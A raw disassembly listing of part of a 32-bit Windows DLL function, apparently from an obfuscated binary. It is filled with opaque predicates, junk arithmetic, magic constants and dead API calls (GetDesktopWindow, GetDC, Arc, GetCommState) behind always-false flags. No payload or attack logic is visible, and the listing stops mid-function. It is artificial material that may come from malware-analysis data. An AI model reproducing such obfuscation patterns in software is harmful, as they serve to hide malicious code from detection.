lea ecx, [ebp - 0x1008]
call fcn.10018d32
mov dword [eax], 0xc0d37ad4
jmp 0x10009c27
mov dword [ebp - 0x14], 0
jmp 0x10009c5a
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10009c70
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1234], 8
jmp 0x10009c53
mov dword [ebp - 0x14], 0
jmp 0x10009c80
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10009c9c
push dword [ebp - 0x14]
lea ecx, [ebp - 0xdd4]
call fcn.10018d32
mov dword [eax], 0x57e71f09
jmp 0x10009c79
push 1
lea ecx, [ebp - 0xdd4]
call fcn.10018d32
mov dword [ebp - 0x918], eax
mov eax, dword [ebp - 0x918]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x918]
mov dword [ecx], eax
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0xdd4]
call fcn.10018d2d
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x1008]
call fcn.10018d2d
mov dword [ebp - 0x1d0], 3
jmp 0x10009cf7
mov eax, dword [ebp - 0x1d0]
dec eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0
jl 0x10009fcd
mov dword [ebp - 0x1168], 0xfffffffe
push 4
lea ecx, [ebp - 0xc9c]
call fcn.10018ca8
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x1d4], 0x532fe223
mov dword [ebp - 0xfbc], 0x3a23fe5e
mov dword [ebp - 0x10fc], 8
mov dword [ebp - 0xfcc], 0xddcd1665
mov dword [ebp - 0x1188], 0
mov dword [ebp - 0xe90], 0xa6edad94
mov dword [ebp - 0x2e8], 0
jmp 0x10009d74
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 4
jge 0x10009d96
push dword [ebp - 0x2e8]
lea ecx, [ebp - 0xc9c]
call fcn.10018d32
mov dword [eax], 0xb9b5
jmp 0x10009d67
mov dword [ebp - 0x1d4], 3
jmp 0x10009daf
mov eax, dword [ebp - 0x1d4]
dec eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0
jl 0x10009f77
mov dword [ebp - 0xe94], 0xffffffff
mov dword [ebp - 0xe9c], 1
mov dword [ebp - 0xea4], 0x9b2b534d
push 3
lea ecx, [ebp - 0xc84]
call fcn.10018ca8
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x270], 0
jmp 0x10009e04
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 3
jge 0x10009e26
push dword [ebp - 0x270]
lea ecx, [ebp - 0xc84]
call fcn.10018d32
mov dword [eax], 0xce4b0ad8
jmp 0x10009df7
push dword [ebp - 0x1d4]
lea ecx, [ebp - 0xc9c]
call fcn.10018d32
cmp dword [eax], 0
je 0x10009ecf
mov dword [ebp - 0x2f0], 0xfffffffa
mov dword [ebp - 0x2f0], 0
jmp 0x10009e63
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 3
jg 0x10009ecd
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x220], 0
jmp 0x10009e8f
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 4
jge 0x10009eb1
push dword [ebp - 0x220]
lea ecx, [ebp - 0xc9c]
call fcn.10018d32
mov dword [eax], 1
jmp 0x10009e82
mov byte [ebp - 0x10c], 0
movzx eax, byte [ebp - 0x10c]
test eax, eax
je 0x10009ecb
push 0
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
jmp 0x10009e56
jmp 0x10009f3f
mov dword [ebp - 0x278], 0
jmp 0x10009ee8
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 3
jge 0x10009f04
mov eax, dword [ebp - 0x278]
mov dword [ebp + eax*4 - 0x11bc], 0
jmp 0x10009edb
mov byte [ebp - 0xfe], 0
movzx eax, byte [ebp - 0xfe]
test eax, eax
je 0x10009f1e
push 0
call dword [sym.imp.USER32.dll_IsRectEmpty]
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x11bc], 0
je 0x10009f3f
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xc84]
call fcn.10018d2d
jmp 0x10009f77
push 1
lea ecx, [ebp - 0xc84]
call fcn.10018d32
mov dword [ebp - 0x478], eax
mov eax, dword [ebp - 0x478]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x478]
mov dword [ecx], eax
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xc84]
call fcn.10018d2d
jmp 0x10009da2
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xc9c]
call fcn.10018d2d
mov dword [ebp - 0x2f8], 0
jmp 0x10009f9f
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 2
jge 0x10009fbb
mov eax, dword [ebp - 0x2f8]
mov dword [ebp + eax*4 - 0x1220], 0xffffffff
jmp 0x10009f92
mov eax, dword [ebp - 0x920]
dec eax
mov dword [ebp - 0x920], eax
jmp 0x10009cea
mov dword [ebp - 0x1c8], 0x6de713a4
mov dword [ebp - 0x3a4], 0
mov dword [ebp - 0xad8], 0x76acb8f
mov dword [ebp - 0xeac], 0
mov dword [ebp - 0x280], 0
jmp 0x1000a00e
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 2
jge 0x1000a02a
mov eax, dword [ebp - 0x280]
mov dword [ebp + eax*4 - 0x9a0], 1
jmp 0x1000a001
cmp dword [ebp - 0x1c8], 0
je 0x1000a12e
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x3a4], eax
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x480], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x480]
mov dword [ebp + eax - 0x9a0], ecx
cmp dword [ebp - 0x480], 0
jne 0x1000a10a
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x9a0]
cmp dword [ebp + eax - 0x9a0], ecx
jl 0x1000a097
mov dword [ebp - 0x3c8], 1
jmp 0x1000a09e
and dword [ebp - 0x3c8], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp + eax - 0x9a0], ecx
mov eax, dword [ebp - 0x1c8]
cmp dword [ebp - 0x3c8], eax
jne 0x1000a0cb
mov dword [ebp - 0x928], 1
jmp 0x1000a0d2
and dword [ebp - 0x928], 0
mov eax, dword [ebp - 0x3a4]
cmp eax, dword [ebp - 0x928]
jge 0x1000a0ec
mov dword [ebp - 0x488], 1
jmp 0x1000a0f3
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x1c8]
add eax, dword [ebp - 0x488]
jne 0x1000a10a
and dword [ebp - 0x930], 0
jmp 0x1000a114
mov dword [ebp - 0x930], 1
mov eax, dword [ebp - 0x1c8]
cmp dword [ebp - 0x930], eax
jge 0x1000a12e
mov dword [ebp - 0x490], 1
jmp 0x1000a135
and dword [ebp - 0x490], 0
cmp dword [ebp - 0x490], 1
je 0x1000a14a
mov dword [ebp - 0xad0], 1
jmp 0x1000a151
and dword [ebp - 0xad0], 0
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0xeb4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9a0]
mov dword [ebp - 0xad8], eax
mov byte [ebp - 0x10e], 0
movzx eax, byte [ebp - 0x10e]
test eax, eax
je 0x1000a1bb
push 0xfe9
push 0xdbc
push 0x1e
push 0x1207
push 0x2b2
push 0x1eee
push 0xbec
push 0xe85
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x1d0], 0
mov esi, dword [ebp - 0x1d0]
push 2
lea ecx, [ebp - 0xe28]
call fcn.10018d32
mov dword [eax], esi
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1018]
call fcn.10018d2d
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xe28]
call fcn.10018d2d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1028]
call fcn.10018d2d
or dword [ebp - 0xd30], 0xffffffff
or dword [ebp - 0xd2c], 0xffffffff
or dword [ebp - 0xd28], 0xffffffff
or dword [ebp - 0xd24], 0xffffffff
lea ecx, [ebp - 0x379]
call fcn.100086f3
push eax
lea eax, [ebp - 0xd20]
push eax
lea eax, [ebp - 0xd30]
push eax
lea ecx, [ebp - 0x11f8]
call fcn.10018d41
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xcb4]
call fcn.10018d07
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x1c], 0x5c8094a1
mov dword [ebp - 0x1c], 3
jmp 0x1000a276
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x1000a50a
push 2
lea ecx, [ebp - 0xa3c]
call fcn.10018ca8
mov byte [ebp - 4], 0x19
mov dword [ebp - 0xae8], 0xb885b3d9
mov dword [ebp - 0x300], 0
jmp 0x1000a2b4
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 2
jge 0x1000a2d6
push dword [ebp - 0x300]
lea ecx, [ebp - 0xa3c]
call fcn.10018d32
mov dword [eax], 0xc4365dea
jmp 0x1000a2a7
mov eax, 0x7a98815
test eax, eax
je 0x1000a45c
mov esi, dword [ebp - 0x1c]
push 1
lea ecx, [ebp - 0xa3c]
call fcn.10018d32
add esi, dword [eax]
cmp esi, 0xfd52
jne 0x1000a309
mov dword [ebp - 0x938], 1
jmp 0x1000a310
and dword [ebp - 0x938], 0
push 1
lea ecx, [ebp - 0xa3c]
call fcn.10018d32
mov ecx, dword [ebp - 0x938]
sub ecx, dword [eax]
cmp ecx, 0xfffffffc
jae 0x1000a336
mov dword [ebp - 0x498], 1
jmp 0x1000a33d
and dword [ebp - 0x498], 0
cmp dword [ebp - 0x498], 0xfffffffb
jg 0x1000a35e
cmp dword [ebp - 0x1c], 0
jne 0x1000a35e
mov eax, 0x5fd0a320
test eax, eax
jne 0x1000a35e
and dword [ebp - 0x940], 0
jmp 0x1000a368
mov dword [ebp - 0x940], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x940], eax
jne 0x1000a37f
mov dword [ebp - 0x4a0], 1
jmp 0x1000a386
and dword [ebp - 0x4a0], 0
push 1
lea ecx, [ebp - 0xa3c]
call fcn.10018d32
mov ecx, dword [ebp - 0x4a0]
cmp ecx, dword [eax]
jg 0x1000a3a9
mov dword [ebp - 0x948], 1
jmp 0x1000a3b0
and dword [ebp - 0x948], 0
cmp dword [ebp - 0x948], 0x58c4
jge 0x1000a3c8
mov dword [ebp - 0x4a8], 1
jmp 0x1000a3cf
and dword [ebp - 0x4a8], 0
cmp dword [ebp - 0x4a8], 0x22a19820
jne 0x1000a3e7
mov dword [ebp - 0x950], 1
jmp 0x1000a3ee
and dword [ebp - 0x950], 0
mov eax, dword [ebp - 0x950]
sub eax, 0x5cf8
cmp eax, dword [ebp - 0x1c]
je 0x1000a40a
mov dword [ebp - 0x4b0], 1
jmp 0x1000a411
and dword [ebp - 0x4b0], 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xcb4]
call fcn.10018d32
mov dword [ebp - 0x958], eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xcb4]
call fcn.10018d32
mov ecx, dword [ebp - 0x958]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x4b0]
mov ecx, dword [ebp - 0x958]
cmp dword [ecx], eax
jg 0x1000a45c
mov dword [ebp - 0x4b8], 1
jmp 0x1000a463
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x4b8], eax
jg 0x1000a47a
mov dword [ebp - 0x960], 1
jmp 0x1000a481
and dword [ebp - 0x960], 0
push 1
lea ecx, [ebp - 0xa3c]
call fcn.10018d32
mov ecx, dword [ebp - 0x960]
cmp ecx, dword [eax]
jge 0x1000a4ad
mov eax, 0xaacd
test eax, eax
je 0x1000a4ad
mov dword [ebp - 0xae0], 1
jmp 0x1000a4b4
and dword [ebp - 0xae0], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xebc], eax
push 1
lea ecx, [ebp - 0xa3c]
call fcn.10018d32
mov dword [ebp - 0x4c0], eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xcb4]
call fcn.10018d32
mov ecx, dword [ebp - 0x4c0]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c0]
mov eax, dword [eax]
mov dword [ebp - 0xae8], eax
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xa3c]
call fcn.10018d2d
jmp 0x1000a26f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcb4]
call fcn.10018d2d
mov dword [ebp - 0x70], 0xffffffff
mov dword [ebp - 0x1e8], 8
mov dword [ebp - 0x1b4], 0xaee5a986
mov dword [ebp - 0x308], 1
push 2
lea ecx, [ebp - 0xe40]
call fcn.10018ca8
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x79c], 0x3e7a3298
mov dword [ebp - 0x290], 7
mov dword [ebp - 0x288], 0
jmp 0x1000a57f
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 2
jge 0x1000a59e
push dword [ebp - 0x288]
lea ecx, [ebp - 0xe40]
call fcn.10018d32
or dword [eax], 0xffffffff
jmp 0x1000a572
cmp dword [ebp - 0x70], 0
jne 0x1000a5aa
cmp dword [ebp - 0x70], 0
je 0x1000a5bf
mov eax, 0x4ddb
test eax, eax
je 0x1000a5bf
mov dword [ebp - 0x968], 1
jmp 0x1000a5c6
and dword [ebp - 0x968], 0
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0xec4], eax
mov eax, dword [ebp - 0x968]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0xecc], eax
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0xed4], eax
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0xedc], eax
imul eax, dword [ebp - 0x1b4], 9
test eax, eax
je 0x1000a713
mov dword [ebp - 0x4c8], 0x5d367296
mov dword [ebp - 0x1b4], 0xffffffe9
jmp 0x1000a62e
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 4
jl 0x1000a70e
mov dword [ebp - 0x980], 0xfffffffb
mov dword [ebp - 0xa68], 0
mov dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0xee4], eax
cmp dword [ebp - 0x980], 1
jg 0x1000a67a
mov dword [ebp - 0xaf0], 1
jmp 0x1000a681
and dword [ebp - 0xaf0], 0
cmp dword [ebp - 0x70], 0x3ca3
jne 0x1000a696
mov dword [ebp - 0x970], 1
jmp 0x1000a69d
and dword [ebp - 0x970], 0
cmp dword [ebp - 0x970], 7
je 0x1000a6b2
mov dword [ebp - 0x4d0], 1
jmp 0x1000a6b9
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0xa68], 6
jne 0x1000a6da
mov dword [ebp - 0x978], 1
jmp 0x1000a6e1
and dword [ebp - 0x978], 0
cmp dword [ebp - 0x978], 0xfffffffe
jne 0x1000a6f6
mov dword [ebp - 0x4d8], 1
jmp 0x1000a6fd
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x980], eax
jmp 0x1000a621
jmp 0x1000aab5
push 3
lea ecx, [ebp - 0x3e0]
call fcn.10018ca8
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x3ac], 5
mov dword [ebp - 0xb00], 0x75314680
mov dword [ebp - 0xb08], 0xfffffffe
mov dword [ebp - 0xb0], 0
jmp 0x1000a75b
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jge 0x1000a77d
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x3e0]
call fcn.10018d32
mov dword [eax], 0x8b01197b
jmp 0x1000a74e
mov dword [ebp - 0xb0], 0
jmp 0x1000a796
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jge 0x1000a7b2
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x1038], 0xffffffff
jmp 0x1000a789
mov dword [ebp - 0x308], 0
jmp 0x1000a7cb
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 1
jg 0x1000a7f2
mov byte [ebp - 0x102], 0
movzx eax, byte [ebp - 0x102]
test eax, eax
je 0x1000a7f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
jmp 0x1000a7be
mov eax, dword [ebp - 0x290]
mov dword [ebp - 0xeec], eax
push 1
lea ecx, [ebp - 0x3e0]
call fcn.10018d32
cmp dword [eax], 0
je 0x1000a82e
push 1
lea ecx, [ebp - 0x3e0]
call fcn.10018d32
cmp dword [eax], 0
je 0x1000a82e
mov dword [ebp - 0x994], 1
jmp 0x1000a835
and dword [ebp - 0x994], 0
push 1
lea ecx, [ebp - 0x3e0]
call fcn.10018d32
mov ecx, dword [ebp - 0x994]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x290]
jg 0x1000a85e
mov dword [ebp - 0x4e4], 1
jmp 0x1000a865
and dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0x4e4], eax
jle 0x1000a87f
mov dword [ebp - 0x78c], 1
jmp 0x1000a886
and dword [ebp - 0x78c], 0
or esi, 0xffffffff
sub esi, dword [ebp - 0x78c]
push 2
lea ecx, [ebp - 0x3e0]
call fcn.10018d32
imul esi, dword [eax]
cmp esi, 0xad706983
jbe 0x1000a8c2
push 0
lea ecx, [ebp - 0x3e0]
call fcn.10018d32
cmp dword [eax], 0
jne 0x1000a8c2
and dword [ebp - 0x4ec], 0
jmp 0x1000a8cc
mov dword [ebp - 0x4ec], 1
cmp dword [ebp - 0x4ec], 9
jne 0x1000a8e1
mov dword [ebp - 0x8e0], 1
jmp 0x1000a8e8
and dword [ebp - 0x8e0], 0
mov eax, dword [ebp - 0x290]
imul eax, dword [ebp - 0x8e0]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x1038]
jl 0x1000a910
mov dword [ebp - 0x4f4], 1
jmp 0x1000a917
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x4f4], eax
jge 0x1000a92e
mov dword [ebp - 0x794], 1
jmp 0x1000a935
and dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x70]
imul eax, dword [ebp - 0x794]
test eax, eax
jne 0x1000a95e
push 1
lea ecx, [ebp - 0x3e0]
call fcn.10018d32
cmp dword [eax], 0
jne 0x1000a95e
and dword [ebp - 0x4fc], 0
jmp 0x1000a968
mov dword [ebp - 0x4fc], 1
cmp dword [ebp - 0x4fc], 0x71f6e690
je 0x1000a980
mov dword [ebp - 0x8e4], 1
jmp 0x1000a987
and dword [ebp - 0x8e4], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x8e4], eax
jne 0x1000a9a1
mov dword [ebp - 0x504], 1
jmp 0x1000a9a8
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0x3ac]
cmp dword [ebp - 0x504], eax
jle 0x1000a9c2
mov dword [ebp - 0x50c], 1
jmp 0x1000a9c9
and dword [ebp - 0x50c], 0
push 1
lea ecx, [ebp - 0x3e0]
call fcn.10018d32
mov eax, dword [eax]
mov dword [ebp - 0x79c], eax
mov esi, dword [ebp - 0x79c]
imul esi, dword [ebp - 0x50c]
sub esi, dword [ebp - 0x3ac]
push 1
lea ecx, [ebp - 0x3e0]
call fcn.10018d32
cmp esi, dword [eax]
jne 0x1000aa0e
mov dword [ebp - 0x370], 1
jmp 0x1000aa15
and dword [ebp - 0x370], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x370]
mov dword [ebp + eax - 0x1038], ecx
push 0
lea ecx, [ebp - 0xe40]
call fcn.10018d32
mov eax, dword [eax]
cmp eax, dword [ebp - 0x370]
je 0x1000aa4b
mov dword [ebp - 0x98c], 1
jmp 0x1000aa52
and dword [ebp - 0x98c], 0
mov eax, dword [ebp - 0x3ac]
imul eax, dword [ebp - 0x98c]
imul eax, eax, 0xd870
imul eax, eax, 0xc659
sub eax, dword [ebp - 0x290]
cmp eax, 0xfffa
jb 0x1000aa8d
cmp dword [ebp - 0xb00], 0
je 0x1000aa8d
mov dword [ebp - 0x514], 1
jmp 0x1000aa94
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0xb08], eax
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x3e0]
call fcn.10018d2d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe40]
call fcn.10018d2d
or dword [ebp - 0xcf4], 0xffffffff
or dword [ebp - 0xcf0], 0xffffffff
or dword [ebp - 0xcec], 0xffffffff
or dword [ebp - 0xce8], 0xffffffff
lea ecx, [ebp - 0x381]
call fcn.100086f3
push eax
lea eax, [ebp - 0xce4]
push eax
lea eax, [ebp - 0xcf4]
push eax
lea ecx, [ebp - 0x1228]
call fcn.10018d41
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xccc]
call fcn.10018d07
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x10], 0x5c8094a1
mov dword [ebp - 0x10], 3
jmp 0x1000ab33
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jl 0x1000adc7
push 2
lea ecx, [ebp - 0xa48]
call fcn.10018ca8
mov byte [ebp - 4], 0x1d
mov dword [ebp - 0xb18], 0xb885b3d9
mov dword [ebp - 0x310], 0
jmp 0x1000ab71
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 2
jge 0x1000ab93
push dword [ebp - 0x310]
lea ecx, [ebp - 0xa48]
call fcn.10018d32
mov dword [eax], 0xc4365dea
jmp 0x1000ab64
mov eax, 0x7a98815
test eax, eax
je 0x1000ad19
mov esi, dword [ebp - 0x10]
push 1
lea ecx, [ebp - 0xa48]
call fcn.10018d32
add esi, dword [eax]
cmp esi, 0xfd52
jne 0x1000abc6
mov dword [ebp - 0x7a4], 1
jmp 0x1000abcd
and dword [ebp - 0x7a4], 0
push 1
lea ecx, [ebp - 0xa48]
call fcn.10018d32
mov ecx, dword [ebp - 0x7a4]
sub ecx, dword [eax]
cmp ecx, 0xfffffffc
jae 0x1000abf3
mov dword [ebp - 0x51c], 1
jmp 0x1000abfa
and dword [ebp - 0x51c], 0
cmp dword [ebp - 0x51c], 0xfffffffb
jg 0x1000ac1b
cmp dword [ebp - 0x10], 0
jne 0x1000ac1b
mov eax, 0x5fd0a320
test eax, eax
jne 0x1000ac1b
and dword [ebp - 0x8ec], 0
jmp 0x1000ac25
mov dword [ebp - 0x8ec], 1
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x8ec], eax
jne 0x1000ac3c
mov dword [ebp - 0x524], 1
jmp 0x1000ac43
and dword [ebp - 0x524], 0
push 1
lea ecx, [ebp - 0xa48]
call fcn.10018d32
mov ecx, dword [ebp - 0x524]
cmp ecx, dword [eax]
jg 0x1000ac66
mov dword [ebp - 0x7ac], 1
jmp 0x1000ac6d
and dword [ebp - 0x7ac], 0
cmp dword [ebp - 0x7ac], 0x58c4
jge 0x1000ac85
mov dword [ebp - 0x52c], 1
jmp 0x1000ac8c
and dword [ebp - 0x52c], 0
cmp dword [ebp - 0x52c], 0x22a19820
jne 0x1000aca4
mov dword [ebp - 0xa00], 1
jmp 0x1000acab
and dword [ebp - 0xa00], 0
mov eax, dword [ebp - 0xa00]
sub eax, 0x5cf8
cmp eax, dword [ebp - 0x10]
je 0x1000acc7
mov dword [ebp - 0x534], 1
jmp 0x1000acce
and dword [ebp - 0x534], 0
push dword [ebp - 0x10]
lea ecx, [ebp - 0xccc]
call fcn.10018d32
mov dword [ebp - 0x7b4], eax
push dword [ebp - 0x10]
lea ecx, [ebp - 0xccc]
call fcn.10018d32
mov ecx, dword [ebp - 0x7b4]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x534]
mov ecx, dword [ebp - 0x7b4]
cmp dword [ecx], eax
jg 0x1000ad19
mov dword [ebp - 0x53c], 1
jmp 0x1000ad20
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x53c], eax
jg 0x1000ad37
mov dword [ebp - 0x8f4], 1
jmp 0x1000ad3e
and dword [ebp - 0x8f4], 0
push 1
lea ecx, [ebp - 0xa48]
call fcn.10018d32
mov ecx, dword [ebp - 0x8f4]
cmp ecx, dword [eax]
jge 0x1000ad6a
mov eax, 0xaacd
test eax, eax
je 0x1000ad6a
mov dword [ebp - 0xb10], 1
jmp 0x1000ad71
and dword [ebp - 0xb10], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xef4], eax
push 1
lea ecx, [ebp - 0xa48]
call fcn.10018d32
mov dword [ebp - 0x544], eax
push dword [ebp - 0x10]
lea ecx, [ebp - 0xccc]
call fcn.10018d32
mov ecx, dword [ebp - 0x544]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x544]
mov eax, dword [eax]
mov dword [ebp - 0xb18], eax
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0xa48]
call fcn.10018d2d
jmp 0x1000ab2c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xccc]
call fcn.10018d2d
push 3
lea ecx, [ebp - 0x180]
call fcn.10018ca8
mov dword [ebp - 4], 0x1e
mov dword [ebp - 0x78], 1
mov dword [ebp - 0xb8], 0xffffffff
mov dword [ebp - 0xc00], 7
mov dword [ebp - 0xbfc], 7
mov dword [ebp - 0xbf8], 7
mov dword [ebp - 0xbf4], 7
mov dword [ebp - 0x584], 0xa9d45c54
mov dword [ebp - 0xf0], 0
jmp 0x1000ae46
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 3
jge 0x1000ae68
push dword [ebp - 0xf0]
lea ecx, [ebp - 0x180]
call fcn.10018d32
mov dword [eax], 0x6c9
jmp 0x1000ae39
mov dword [ebp - 0xf0], 0
jmp 0x1000ae81
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 3
jge 0x1000ae9d
mov eax, dword [ebp - 0xf0]
mov dword [ebp + eax*4 - 0xe58], 0xfffffff9
jmp 0x1000ae74
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
cmp dword [eax], 0
jne 0x1000af23
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
cmp dword [eax], 0
je 0x1000aece
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
mov esi, eax
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x1000aefc
mov dword [ebp - 0x7bc], 1
jmp 0x1000af03
and dword [ebp - 0x7bc], 0
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
mov ecx, dword [ebp - 0x7bc]
cmp ecx, dword [eax]
jg 0x1000af23
and dword [ebp - 0x54c], 0
jmp 0x1000af2d
mov dword [ebp - 0x54c], 1
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
mov ecx, dword [ebp - 0x54c]
cmp ecx, dword [eax]
je 0x1000af50
mov dword [ebp - 0x990], 1
jmp 0x1000af57
and dword [ebp - 0x990], 0
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
mov ecx, dword [ebp - 0x990]
add ecx, dword [eax]
cmp ecx, 0xd022
jge 0x1000af80
mov dword [ebp - 0x554], 1
jmp 0x1000af87
and dword [ebp - 0x554], 0
cmp dword [ebp - 0x554], 0xfffffffa
jle 0x1000af9c
mov dword [ebp - 0x7c4], 1
jmp 0x1000afa3
and dword [ebp - 0x7c4], 0
mov eax, dword [ebp - 0x7c4]
add eax, 0x9d3b208
cmp eax, dword [ebp - 0x78]
jl 0x1000afbf
mov dword [ebp - 0x55c], 1
jmp 0x1000afc6
and dword [ebp - 0x55c], 0
cmp dword [ebp - 0x55c], 0x1966
je 0x1000afde
mov dword [ebp - 0xb20], 1
jmp 0x1000afe5
and dword [ebp - 0xb20], 0
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
